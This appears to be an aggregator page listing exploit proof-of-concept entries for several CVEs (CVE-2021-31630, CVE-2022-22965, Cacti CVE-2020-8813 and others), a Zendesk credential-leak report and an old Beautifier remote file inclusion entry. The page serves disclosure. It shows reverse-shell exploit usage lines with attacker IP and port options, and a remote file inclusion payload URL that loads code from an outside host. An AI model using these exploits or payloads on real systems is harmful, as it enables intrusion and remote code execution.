CVE-2021-31630

CVE-2021-31630 Fellipe Oliveira による PoC CVE-2021-31630 スクリプトを HTB 向けに修正しました。 使い方 'Example usage: exploit.py -u http://target-uri:8080 -l admin -p admin -i 192.168.1.54 -r 4444 -P program.st"...

CVE-2023-28343

CVE-2023-28343 Exploit POC de CVE-2023-28343 Uso root@kitploit: usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHOST Local IP address...

CVE-2022-22965

CVE-2022-22965 Poc&Exp,支持批量扫描 使用 root@kitploit: -a string 反弹监听地址 -b 是否显示banner default true -c string 命令 default "ls" -p int 反弹监听端口 -poc 是否只进行poc扫描,默认只扫poc default true -r 是否反弹shell default false -t int 超时时间 default 20 -u string 目标单个ip或txt文件 default "http://127.0.0.1:8080" -w int 工人数量 default 10...

Cacti-CVE-2020-8813

Cacti-CVE-2020-8813 root@kitploit: 用法: cactirce.py 选项 选项: -h, --help 显示此帮助信息并退出 -u URL, --url=URL 必需 目标URL 例如: http://Cacti/ -l LHOST, --lhost=LHOST 必需 攻击者IP地址 -p LPORT, --lport=LPORT 默认443 攻击者IP端口 示例: root@kitploit: python3 cactirce.py -u http://CACTI/ -l 192.168.x.x...

Zendesk: "Test target" of the "HTTP target" extension can unintentionally send username and password in the Authorization header

Summary: In certain conditions, the HTTP target extension is sending the username and password of the authenticated user testing the target in the test request's Authorization header as base64 encoded i.e. HTTP basic auth. I have graded this as a medium due to some mitigating circumstances browse...

Beautifier 0.1 (Core.php) Remote File Include Vulnerability

No description provided by source. Beautifier v0.1 Remote File Inclusion Vulnerability Download: http://www.beautifier.org/php/beautifier-php-full-current.tar.gz Found By: the master exploit: http://Target/Path/Beautifier/Core.php?BEAUTPATH=http://cmd.gif? milw0rm.com 2006-09-06...